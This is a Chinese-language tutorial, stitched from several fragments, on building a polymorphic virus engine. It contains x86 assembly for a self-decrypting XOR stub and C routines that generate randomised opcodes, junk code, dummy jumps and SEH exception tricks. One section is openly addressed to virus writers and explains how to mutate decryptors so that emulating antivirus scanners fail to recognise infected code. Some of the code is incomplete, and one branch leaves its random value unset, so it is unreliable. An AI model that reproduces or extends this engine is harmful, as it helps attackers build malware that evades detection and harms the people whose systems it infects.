变形引擎的构建 call delta delta: pop esi add esi, offset Packet - offset delta mov edi, esi mov ecx, offset Decoder - offset Packet mov eax, esi add eax, offset Decoder - offset Packet mov bl, byte ptr [eax] @@: lodsb xor al, bl stosb loop @B ;; 这里解密后直接进去壳主体 Packet: ;........壳主体 Decoder: db 099h 以上就是简单的ASM代码了。这里的算法是XOR当然比较简单,当然在解密之前要首先保证代码段是可写属性 const DWORD Registry_Eax = 0x00; const DWORD Registry_Ecx = 0x01; const DWORD Registry_Edx = 0x02; const DWORD Registry_Ebx = 0x03; const DWORD Registry_Esp = 0x04; const DWORD Registry_Ebp = 0x05; const DWORD Registry_Esi = 0x06; const DWORD Registry_Edi = 0x07; const DWORD Registry_MaxCount = 0x08; while (bR0 == Registry_Esp) bR0 = (BYTE)(lrand() % Registry_MaxCount); // bR0是选取的寄存器,lrand是随机函数 1.2产生随机的清0 const DWORD Clr0_Mov = 0x00; const DWORD Clr0_Xor = 0x01; const DWORD Clr0_Sub = 0x02; DWORD MakeClearZero(LPBYTE pClearZero, DWORD dwBufSize, BYTE bRegistry) { // mov $R, 0 const BYTE MoveZeroBase[] = {"\xB8\x00\x00\x00\x00"}; // xor $R, $R const BYTE XorZeroBase[] = {"\x33\xC0"}; // sub $R, $R const BYTE SubZeroBase[] = {"\x2B\xC0"}; int nRand = 0; if (dwBufSize >= 5) { lsrand((unsigned)time(NULL)); nRand = lrand() % 3; if (nRand == Clr0_Mov) { memcpy(pClearZero, MoveZeroBase, 0x05); while (bRegistry == Registry_Esp) bRegistry = (BYTE)(lrand() % Registry_MaxCount); bRegistry += 0xB8; *(BYTE *)pClearZero = bRegistry; return 0x05; } else if (nRand == Clr0_Xor) { memcpy(pClearZero, XorZeroBase, 0x02); while (bRegistry == Registry_Esp) bRegistry = (BYTE)(lrand() % Registry_MaxCount); bRegistry *= 0x09; bRegistry += 0xC0; *(BYTE *)(pClearZero + 1) = bRegistry; return 0x02; } else { memcpy(pClearZero, SubZeroBase, 0x02); while (bRegistry == Registry_Esp) bRegistry = (BYTE)(lrand() % Registry_MaxCount); bRegistry *= 0x09; bRegistry += 0xC0; *(BYTE *)(pClearZero + 1) = bRegistry; return 0x02; } } else if (dwBufSize >= 2) { lsrand((unsigned)time(NULL)); if (nRand == Clr0_Xor) { memcpy(pClearZero, XorZeroBase, 0x02); while (bRegistry == Registry_Esp) bRegistry = (BYTE)(lrand() % Registry_MaxCount); bRegistry *= 0x09; bRegistry += 0xC0; *(BYTE *)(pClearZero + 1) = bRegistry; return 0x02; } else { memcpy(pClearZero, SubZeroBase, 0x02); while (bRegistry == Registry_Esp) bRegistry = (BYTE)(lrand() % Registry_MaxCount); bRegistry *= 0x09; bRegistry += 0xC0; *(BYTE *)(pClearZero + 1) = bRegistry; return 0x02; } } return 0; } 可以发挥想象自行编写。包括外部模板导入等等。 DWORD GenerateDummyJmp(PJUNKCODE_BASE pJunkCodeBase, LPBYTE pStart, DWORD dwJunkCodeSize) { const DWORD dwMinSize = 0x05; if (dwJunkCodeSize < dwMinSize) return 0; LPBYTE pEnd = pStart + dwJunkCodeSize; // 只能产生向后跳的指令 BYTE JmpCodes[] = {"\xE9\xFF\xFF\xFF\xFF"}; DWORD dwOffset = pEnd - pStart - 0x05; *(DWORD *)&JmpCodes[1] = dwOffset; memcpy(pStart, JmpCodes, 0x05); // 生成花指令 DWORD dwRet = GenerateJunkCode(pJunkCodeBase, pStart + 0x05, dwOffset); return (dwRet + 0x05); } // pJunkCodeBase 是 垃圾指令库,GenerateJunkCode是产生垃圾指令。进行填充可以自行构建 1.4产生异常 // 这个其中有些函数是产生push pop的原理都一样.有兴趣的自己动手DIY就OK了。原理很简单没什么好写的了 DWORD NaTaSha::GenerateDummySehJmp(PJUNKCODE_BASE pJunkCodeBase, LPBYTE pHeader, DWORD dwHeaderSize) { // 基本型 // push $R0 ; 1byte // push $R1 ; 1byte // call delta ; 5bytes // delta: // pop $R0 ; 1byte // add $R0, dwOffset ; 6bytes // push $R0 ; 1byte // xor $R1, $R1 ; 2bytes // push fs:[$R1] ; 3bytes // mov fs:[$R1], esp ; 3bytes // 触发异常 // 垃圾代码 // 执行代码 // pop fs:[$R1] ; 3bytes // add esp, 04h ; 3bytes // pop $R1 ; 1byte // pop $R0 ; 1byte const DWORD dwSehTotal = 0x80; if (dwHeaderSize < dwSehTotal) return 0; LPBYTE pHandler = NULL, pCurr = pHeader; // 模拟SEH跳转的空间最小长度为128个字节 const DWORD dwResumeStack = 0x06;//恢复异常处理堆栈长度 DWORD dwRemain = dwHeaderSize, dwSize = 0; // 首先随机选出两个寄存器,为了避免意外,过滤掉esp寄存器 lsrand((unsigned)time(NULL)); // R0作为重定位与触发异常,R1作为清0 BYTE bR0 = (BYTE)(lrand() % Registry_MaxCount), bR1 = (BYTE)(lrand() % Registry_MaxCount); while (bR0 == Registry_Esp) bR0 = (BYTE)(lrand() % Registry_MaxCount); while (bR1 == Registry_Esp) bR1 = (BYTE)(lrand() % Registry_MaxCount); DWORD dwRet = 0; // 保存寄存器 dwRet = MakePushValue(bR0); *pCurr = (BYTE)dwRet; dwSize++; dwRemain--; pCurr++; dwRet = MakePushValue(bR1); *pCurr = (BYTE)dwRet; dwSize++; dwRemain--; pCurr++; // 重定位 LPBYTE pCall0 = pCurr; dwRet = MakeRelocateCode(pCurr, dwRemain, bR0, 0); dwSize += dwRet; dwRemain -= dwRet; pCurr += dwRet; DWORD dwCall0Size = dwRet; // 压入异常句柄 dwRet = MakePushValue(bR0); *pCurr = (BYTE)dwRet; dwSize++; dwRemain--; pCurr++; // 清0 dwRet = MakeClearZero(pCurr, dwRemain, bR1); dwSize += dwRet; dwRemain -= dwRet; pCurr += dwRet; // 建立异常堆栈 const BYTE PushFsR[] = {"\x64\xFF\x30"};//3字节 const BYTE MovEspR[] = {"\x64\x89\x20"};//3字节 // push dword ptr fs:[$R] memcpy(pCurr, PushFsR, 0x03); *(pCurr + 0x02) = bR1 + 0x30; dwSize += 0x03; dwRemain -= 0x03; pCurr += 0x03; // mov dword ptr fs:[$R], esp memcpy(pCurr, MovEspR, 0x03); *(pCurr + 0x02) = bR1 + 0x20; dwSize += 0x03; dwRemain -= 0x03; pCurr += 0x03; // 触发异常 dwRet = MakeExpCode(pCurr, dwRemain, bR1); dwSize += dwRet; dwRemain -= dwRet; pCurr += dwRet; // 确定是否产生垃圾代码 lsrand((unsigned)time(NULL)); int nRand = lrand() % 2; if (nRand == 0)// 不产生垃圾代码 goto GenerateExpHandler; // 垃圾代码 DWORD dwJunkCodeSize = dwRemain / 2; nRand = lrand() % dwJunkCodeSize; dwJunkCodeSize = nRand + 1;//随机长度范围在剩余长度的一半之内 dwRet = GenerateJunkCode(pJunkCodeBase, pCurr, dwJunkCodeSize); dwSize += dwRet; dwRemain -= dwRet; pCurr += dwRet; // 异常执行函数 GenerateExpHandler: DWORD dwExpCodeSize = dwRemain - dwResumeStack; dwRet = GenerateJunkCode(pJunkCodeBase, pCurr, dwExpCodeSize); dwSize += dwRet; dwRemain -= dwRet; DWORD dwOffset = (DWORD)(pCurr - pCall0); // 0x04为偏移长度 *(DWORD *)(pCall0 + dwCall0Size - 0x04) = dwOffset; pCurr += dwRet; // 恢复异常堆栈 const BYTE PopFsR[] = {"\x64\x8F\x00"}; const BYTE AddEsp4[] = {"\x83\xC4\x04"}; // pop dword ptr fs:[$R] memcpy(pCurr, PopFsR, 0x03); *(pCurr + 0x02) = bR1; dwSize += 0x03; dwRemain -= 0x03; pCurr += 0x03; // add esp, 04h memcpy(pCurr, AddEsp4, 0x03); dwSize += 0x03; dwRemain -= 0x03; pCurr += 0x03; return dwSize; } 1.5利用MODRM/SIB |
在病毒扫描器中使用操作码模拟器解密非常多态化的病毒已不是新鲜想法了。更好的扫描器可以处理带有复杂译码器的病毒,它用一个通用的译码器从病毒上脱去保护壳,从而可以看清病毒的结构。 迄今为止,每个多态变形引擎都可以生成特定类型的译码器。这些译码器的一般行为可能会有差异,而普通的加密器则没有。 作为病毒编写者的我们,必须适应不断创新的编程技术。要让病毒得到进一步的进化,就要将编程普通化。普通化的程序设计可用于所有与病毒相关的手法中。 背景: 每个多态变形引擎基本上都是基于某些将以随机顺序使用的规则,垃圾指令以及一些可以组成不同操作码的指令。但是,如果你把一段代码输入给多态变形引擎,这个引擎如何生成这段代码的变形呢?真正的多态变形引擎将把每一个东西多态化,而不管它做什么。看下面的例子: mov ax, 3D02h int 21h 如果你把这段代码输入给上述的、普通的变形机,你可能会得到如下的结果: sub ax, ax add ax, 3000h cmp ax, 78AFh je NEVER_JUMPS xor ax, 0D02h NEVER_JUMPS: int 21h 或者如果你想生成一个译码器,可以把下面的代码段输入给变形机: mov si, offset ENCRYPTED_VIRUS mov al, 32h mov cx, VIRUS_LENGTH DECRYPT_VIRUS: xor byte ptr [si], al add al, 4 inc si loop DECRYPT_VIRUS 你可能会得到如下的结果: mov si, offset ENCRYPTED_VIRUS + 145h add si, -145h mov al, 33h dec ax mov cx, VIRUS_LENGTH xor 1234h xor cx, 1234h DECRYPT_VIRUS: xchg si, di xor byte ptr [di], al xchg si, di inc al inc al inc al add al, 1 sub si, -1 dec cx jnz DECRYPT_VIRUS 你可能已经注意到了,这个变形机仅仅把随机指令放在那些它能组成更紧密指令的地方,它并不交换操作码。因为变形机并不知道哪些指令被准许交换,哪些不准,所以,这应当被单独的模块生成。为了生成译码器,你必须调用两个引擎,如下图所示: .----------------. .-----------. (1) >>-| 代码编码器 |---->>----| 变形机 |->> (3) '----------------' (2) '-----------' (1) 输入参数用以生成译码器 (2) 普通的译码器 (3) 多态化的普通译码器 你想把代码编码器和变形机弄得多复杂都可以。在它最简单的实现里,变形机有少许缺点:因为它一次只变形一个操作码,随机操作码不会和来自下一个操作数的随机操作码混合。这样做的优点是,除了多态变形结构可少许预测外,你并不需要跟踪寄存器。但这样的变形机会有一些问题: ● 重新计算分支转移指令的操作码 ● 如何处理作为指针使用的寄存器 ● 如何让一个病毒完全变异?你必须保留原始的元病毒代码,否则它将变形已经变形的病毒。 ● 变形过程中如何把数据和代码分开。 解决jump和寄存器处理操作码的方法是,构建类似于可执行文件中使用的重定位表。如果你想变形一段程序时,你可以输入给变形机应当被调整的转移的范围。当调用引擎时,你可以把它放在栈上,或者设置一些指向预定义表的指针,你尽可以挑自己喜欢的方法。只不过你要确保可以重定位8位和16位、直接或非直接的地址。 你也可以生成一个范围表,它必须不被变形,对它的引用应该可以更新(指针寄存器)。 重定位/排除/解析(resolve)表(RER表)大致如下所示: enum RER_types { RERT_nil, // 0 - RER链尾 RERT_8rel, // 1 - 8位相对地址(条件跳转) RERT_16rel, // 2 - 16位相对地址(过程调用) RERT_16dir // 3 - 16位直接地址(指针&跳转) } struct RER_table { RER_type : unsigned char; RER_address : unsigned int ; } 在用这个表对你想变形的代码做过变形之后,如果你还想对当前的结果再次变形,则不要忘了用新地址更新这个表。如果编程的风格比较好的话,你可以多次调用变形,每次它将变形指定的例程。 稍微难一点的是包括压缩被前一次变形生成的例程的可能性。对做相同事情的代码来说,扩展以及往里增加指令比把它们压缩成更紧凑的指令要难一些,因为你需要知道怎样才能把少许指令优化成更少的指令或简短的变体。可能会存在一些简单的算法,比如说把add <reg>, 1改成inc <reg>,更复杂的可以参考下面的内容: 未优化的代码 优化后的代码 cmc jc ERROR jnc ERROR cmc xor ax, ax mov ax, 3D02h add ax, 3D02h 把压缩器模块分开可能会更好,这样一来,你可以尽可能的用压缩器把病毒优化成最简短的形式,接下来再调用变形引擎把它放大。这两个步骤都可以使用同样的指令表和RER表。你还可以增加一个随意调用压缩器和变形器的重叠模块,从而在扩展病毒其它部分的同时可以优化其中的一部分。 因此,各模块之间的结构如下所示: .------. |编码器|(1) '---v--' .------. |变异器|(2) '---v--' .------.(3) .-----|变形器|-----. .------. '------' .------. (4)|压缩器| |扩展器|(5) '------' '---v--' .----------. |加入花指令|(6) '---v------' .------------. |加入垃圾数据|(7) '---v--------' .------------. |随机数生成器|(8) '------------' (1) 以随机顺序排列指令 (2) 为必须完成的操作选用其它的寄存器 (3) 随机调用压缩器或扩展器来变形代码 (4) 通过优化它知道的指令来压缩代码 (5) 通过生成具有同样功能的多条随机操作码来扩展代码 (6) 增加任意的无用指令 (7) 增加简单的垃圾数据(随机数) (8) 随机数生成器,必须能生成慢速随机数和常规随机数(用做慢速和常规的多态变形) |
此段代码会在DATA段内生成一个解密代码。 |